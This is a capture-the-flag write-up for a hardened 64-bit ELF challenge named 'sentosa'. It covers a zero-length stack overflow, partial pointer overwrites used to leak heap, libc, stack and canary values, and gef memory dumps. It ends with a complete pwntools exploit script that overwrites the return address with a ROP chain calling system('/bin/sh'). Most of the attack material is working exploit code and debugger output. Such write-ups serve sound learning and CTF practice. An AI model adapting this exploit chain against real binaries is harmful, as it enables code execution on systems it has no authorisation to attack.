The challenge is a 64-bit elf with all protections enabled.

gef➤  checksec 
[+] checksec for '/home/sanat/sentosa'
Canary                        : Yes →  value: 0xa3d787633880c900
NX                            : Yes
PIE                           : Yes
Fortify                       : Yes
RelRO                         : Full

The program takes input size first, malloc’s some space and then finally takes user input byte by byte and has a check for “\n”.
It stores input on the stack and then transfers it to the heap using strncpy.

Strncpy copies n bytes of input, filling remaining rest with 0’s. So no heap overflow / leak.

The program, however uses the following algo for checking how many bytes to be read.

add     ebx, 1
mov     [rbp+0], al
add     rbp, 1
cmp     ebx, r13d
jz      short loc_C80

It only checks when it is jz or when it equals. If we pass length as 0, it will never be valid -> overflow.

Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 0
Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Input your project price: 1
Input your project area: 2
Input your project capacity: 3
Your project is No.0
*** stack smashing detected ***: ./sentosa terminated
Aborted (core dumped)

Great.
Now carefully observe the situation of the stack at the time of overwrite.


gef  x/20xg $r13
0x7fffffffdd80:	0x4141414141414141	0x0000000000000041
0x7fffffffdd90:	0x0000000000000000	0x0000000000000000
0x7fffffffdda0:	0x0000000000000000	0x0000000000000000
0x7fffffffddb0:	0x0000000000000000	0x0000000000000000
0x7fffffffddc0:	0x0000000000000000	0x0000000000000000
0x7fffffffddd0:	0x0000000000000000	0x5555557570100000  <-- heap pointer
0x7fffffffdde0:	0x0000000000000000	0x33bff50e368a5c00  <-- canary
0x7fffffffddf0:	0x000055555555529a	0x00005555555553f8
0x7fffffffde00:	0x00007fffffffde24	0x0000555555554a30
0x7fffffffde10:	0x00007fffffffdf40	0x0000555555555117
gef
0x7fffffffde20:	0x00000001f7dd2620	0x33bff50e368a5c00
0x7fffffffde30:	0x0000000000000000	0x0000000000000000
0x7fffffffde40:	0x0000555555555140	0x0000555555554a15
0x7fffffffde50:	0x00007fffffffdf40	0x33bff50e368a5c00

We can partially overwrite heap pointer with a known offset of any other heap address and cause it to leak stuff there.

But we first need to setup a leak there. So create 2 fastbin chunks. Free both. We will get a heap pointer there which we can leak easiy.

Problem

It terminates our input with null byte. This means that a byte overwrite will end up putting 0x00 also. So we need to bruteforce 1 digit
so that our heap is aligned to 0x0000. Then our null byte wont spoil anything and we will end up with heap pointer there.

This heap pointer is stored in the global array at .bss + 0x202040. It contains pointers to our heap chunks.

Heap Leak

To leak heap, we need to free 2 fastbins and then overwrite with correct offset.

Libc Leak

No more partial overwrites now. We have a heap leak now. To get a libc leak, we need to somehow get arena pointers in our heap.

So we need to create a chunk of size larger than 0x80. But the program only allows us a maximum of 89 bytes.

So we create a fake chunk of size 0xd1 inside our data and make our global pointer point here. What will happen?

gef➤  x/20xg 0x556dc8b00000
0x556dc8b00000:	0x0000000000000000	0x0000000000000021
0x556dc8b00010:	0x0000010000000000	0x0000020000000100
0x556dc8b00020:	0x0000000000000300	0x0000000000000041
0x556dc8b00030:	0x5858585800000020	0x5858585858585858
0x556dc8b00040:	0x5858585858585858	0x00000000000000d1  <-- Fake chunk size we set
0x556dc8b00050:	0x00007f851b989b78	0x00007f851b989b78
0x556dc8b00060:	0x0000000000001400	0x0000000000000041
0x556dc8b00070:	0x0000000000000000	0x4343434343434343
0x556dc8b00080:	0x4343434343434343	0x0000010000000000
0x556dc8b00090:	0x0000020000000100	0x0000000000000300
gef➤  
0x556dc8b000a0:	0x0000000000000000	0x0000000000000071
0x556dc8b000b0:	0x434343430000004c	0x4343434343434343
0x556dc8b000c0:	0x4343434343434343	0x0000000000000000
0x556dc8b000d0:	0x0000000000000000	0x0000000000000000
0x556dc8b000e0:	0x0000000000000000	0x0000000000000000
0x556dc8b000f0:	0x0000000000000000	0x0000000000000000
0x556dc8b00100:	0x0000140000000100	0x0000140000001400
0x556dc8b00110:	0x00000000000000d0	0x0000000000000070  <-- malloc thinks its all good and sets PREV_INUSE bit of this chunk.
0x556dc8b00120:	0x434343430000004c	0x4343434343434343
0x556dc8b00130:	0x4343434343434343	0x0000000000000000

So we made malloc belive that this was actually an allocated chunk of size 0xd1. We called free on it and malloc works as expected.

** We do need to pass the check made by program before it frees it **

mov     eax, [rdi]
cmp     dword ptr [rdi+rax+5], 1
jnz     short loc_1023


loc_1023:               ; "Corrupted project!"
lea     rdi, aCorruptedProje
call    puts
xor     edi, edi        ; status
call    exit

Thats why I have placed it at the end. It just fits!!

Now we can leak arena pointers.


[+] Starting local process './sentosa': pid 12230
[+] Heap Base: 0x556dc8b00000
[+] Libc Leak: 0x7e851b5c5000

Stack Leak

Now we have libc so we have environ. Environ is a pointer to stack address.

To leak environ, once again use our favorite vulnerabily and get a pointer to &(environ) - 5. This will allow us to leak environ.

If you look at how program does view project, you will see that it first assumes that DWORD ptr is size of string. Then it does

cmp [rdx + rax + 5], 0x1

rax is size of string. So we need to make sure that [rax + rdx] is a valid memory location because in some cases, we may find that size is 0xff331233 or any other huge number and then it will segfault. Thats why I have made it point to 0x00000000 address near environ.

Finally we have stack leak. Time to get the canary.

The Canary Problem

The address of the canary depends on the function being called. So since we are using the view_project function to view stuff, we need to use that memory address for the canary. One problem is that there are alot of vague memory address and no “0x00000000” spot nearby the canary.

To bypass this, we need to provide a cleverly shifted address. Meaning instead of making our global ptr point to canary - 0x8, we make it
point to canary - 0x4.


0x7ffd7563f2e0:	0x0000556dc7bec29a	0xd52b2473a4df1100
0x7ffd7563f2f0:	0x0000556dc7bec3f8	0x00007ffd7563f314
0x7ffd7563f300:	0x0000556dc7beba30	0x0000556dc7bec107
0x7ffd7563f310:	0x000000021b98a620	0xd52b2473a4df1100
0x7ffd7563f320:	0x0000000000000000	0x0000000000000000
0x7ffd7563f330:	0x0000556dc7bec140	0x0000556dc7beba15
0x7ffd7563f340:	0x00007ffd7563f430	0xd52b2473a4df1100  <-- canary
0x7ffd7563f350:	0x0000000000000000	0x00007f851b5e5830
0x7ffd7563f360:	0x0000000000000000	0x00007ffd7563f438
0x7ffd7563f370:	0x000000011bbb4ca0	0x0000556dc7beb9c0

So see this:


gef➤  x/xg 0x7ffd7563f345
0x7ffd7563f345:	0x73a4df110000007f

So now it will consider 0x7ffd7563f345 and take size from here. Not an issue. We do

mov     eax, [rdx]  <-- this moves only 4 bytes into eax.
lea     rsi, aProjectS  ; "Project: %s\n"
mov     edi, 1
lea     rbp, [rdx+rax+5]
add     rdx, 4
xor     eax, eax
call    printf

So eax only contains 0x0000007f. and thus [rax + rdx] became a good memory location (its accessible). No segfault.

Now we can leak canary.

The Part where I was stuck

This was the biggest facepalm moment of my life. I have heap,libc,stack, canary everything. Now all we need to do is, for the final time.
use our favorite vuln and overwrite RIP with pop_rdi, /bin/sh, system_addr.

But what did I do??

I got stuck into thinking that it does not take null bytes. Well id didn’t take null bytes atleast not in the heap and everywhere else.

The reason was because at that time it was using strncpy() which ofcourse has an issue with the null byte.

But our buffer is only filtered by “\n”. ** FACEPALM **

Exploit code:

#!/usr/bin/python
from pwn import *

#elf = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process("./sentosa")
#raw_input()

def menu():
	p.recvuntil("5. Exit")

def start_project(size,name,price,area,capacity):
	menu()
	p.sendline("1")
	p.recvuntil("Input length of your project name:")
	p.sendline(str(size))
	p.recvuntil("Input your project name:")
	p.sendline(name)
	p.recvuntil("price:")
	p.sendline(str(price))
	p.recvuntil("area:")
	p.sendline(str(area))
	p.recvuntil("capacity:")
	p.sendline(str(capacity))

def cancel_project(idx):
	menu()
	p.sendline("4")
	p.recvuntil("Input your projects number:")
	p.sendline(str(idx))

'''
gef  x/20xg $r13
0x7fffffffdd80:	0x4141414141414141	0x0000000000000041
0x7fffffffdd90:	0x0000000000000000	0x0000000000000000
0x7fffffffdda0:	0x0000000000000000	0x0000000000000000
0x7fffffffddb0:	0x0000000000000000	0x0000000000000000
0x7fffffffddc0:	0x0000000000000000	0x0000000000000000
0x7fffffffddd0:	0x0000000000000000	0x5555557570100000
0x7fffffffdde0:	0x0000000000000000	0x33bff50e368a5c00
0x7fffffffddf0:	0x000055555555529a	0x00005555555553f8
0x7fffffffde00:	0x00007fffffffde24	0x0000555555554a30
0x7fffffffde10:	0x00007fffffffdf40	0x0000555555555117
gef
0x7fffffffde20:	0x00000001f7dd2620	0x33bff50e368a5c00
0x7fffffffde30:	0x0000000000000000	0x0000000000000000
0x7fffffffde40:	0x0000555555555140	0x0000555555554a15
0x7fffffffde50:	0x00007fffffffdf40	0x33bff50e368a5c00
0x7fffffffde60:	0x0000000000000000	0x00007ffff7a2d830
0x7fffffffde70:	0x0000000000000000	0x00007fffffffdf48
0x7fffffffde80:	0x00000001f7ffcca0	0x00005555555549c0
0x7fffffffde90:	0x0000000000000000	0xef6d8270b3e156ad
0x7fffffffdea0:	0x0000555555554a30	0x00007fffffffdf40
0x7fffffffdeb0:	0x0000000000000000	0x0000000000000000

'''




name = "A" * 90
name += "\x29"
price = 1
area = 2
capacity = 3

start_project(0,name,price,area,capacity)

lol = "C" * 20
start_project(24,lol,price,area,capacity)
start_project(24,lol,price,area,capacity)

cancel_project(2)
cancel_project(1)

p.clean()
p.sendline("2")
leak = p.recvuntil("Price: ")
leak = p.recvline().strip("\n")
leak = int(leak) * pow(16,4)
heap_leak = leak
log.success("Heap Base: " + hex(leak))


payload = "X" * 20
payload += "\xd1"

start_project(32,payload,20,20,20)	# 1
start_project(76,lol,20,20,20)		# 2
start_project(76,lol,20,20,20)		# 3

start_project(70,lol,20,20,20)		# 4


name = "A" * 90
n = 0x50
xx = p64(heap_leak + n)
xx = xx[0:7]
name += xx

start_project(0,name,20,20,20)

cancel_project(5)

p.clean()
p.sendline("2")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvline()
leak = int(leak)
leak = leak + 0x7f00000000
leak = leak * pow(16,2)
leak += 0x78
leak = leak - 0x3c4b78
libc_leak = leak
log.success("Libc Leak: " + hex(leak))

name = "A" * 90
xx = p64(libc_leak + 3960631 - 0x8)
xx = xx[0:7]
name += xx

start_project(0,name,20,20,20)

p.clean()
p.sendline("2")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvline()
leak2 = p.recvuntil("Area: ")
leak2 = p.recvline().strip("\n")
leak2 = int(leak2)
leak = int(leak)
print leak
print hex(leak)
leak2 = leak2 * pow(16,8)
leak = leak2 + leak
log.success("Stack Leak: " + hex(leak))




canary = leak - 0x103

name = "A" * 90
xx = p64(canary)
xx = xx[0:7]
name += xx

start_project(0,name,20,20,20)

p.clean()
p.sendline("2")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Price: ")
leak = p.recvuntil("Project: ")
leak = p.recvline().strip("\x0a")
leak = leak + "\x00"
print str(len(leak))
raw_input()
leak = u64(leak)
canary = leak
print hex(leak)
system_addr = libc_leak + 0x45390
pop_rdi = libc_leak + 0x0000000000021102
bin_sh = libc_leak + 0x18cd17

name = "A" * 90
name += "B" * 6
name += "\x00\x20"
name += p64(canary)
name += "D" * 8
name += p64(pop_rdi)
name += p64(bin_sh)
name += p64(system_addr)
raw_input()
start_project(0,name,20,20,20)

p.interactive()

Sadly could not solve during the CTF (coz of my really stupid…. lol)